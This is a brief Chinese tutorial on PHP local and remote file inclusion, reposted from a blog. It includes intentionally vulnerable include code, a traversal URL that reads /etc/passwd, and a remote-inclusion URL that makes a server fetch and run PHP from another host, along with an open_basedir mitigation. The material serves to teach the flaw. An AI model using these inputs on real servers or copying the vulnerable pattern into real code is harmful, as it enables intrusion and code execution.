PHP文件包含

本地包含

<?php 
$file = $_GET['file'];
if (file_exists('/var/www/html/'.$file)){
	include '/var/www/html/'.$file;
}
?>

 访问连接:http://192.168.220.150/test.php?file=../../../etc/passwd

在php.ini中设置open_basedir可以限制在某个特定目录下PHP能打开的文件

open_basedir = /var/www/html   //限制在当前目录下(包括子目录)
open_basedir = /var/www/html/  //限制在当前目录下(不包括子目录) 

 远程文件包含

 当PHP的配置选项allow_url_include为ON时,就可以包含远程的文件

<?php
$file = $_GET['file'];
if (isset($file)){
	include($file.'.txt');
}
?>

 要包含的文件代码

<?php
phpinfo();
?>

 访问链接:http://127.0.0.1/4.php?file=http://192.168.220.150/1.php?

?后面的代码被解释成url的请求参数,有的也可以用%00来截断

原文地址:https://www.cnblogs.com/sch01ar/p/8513482.html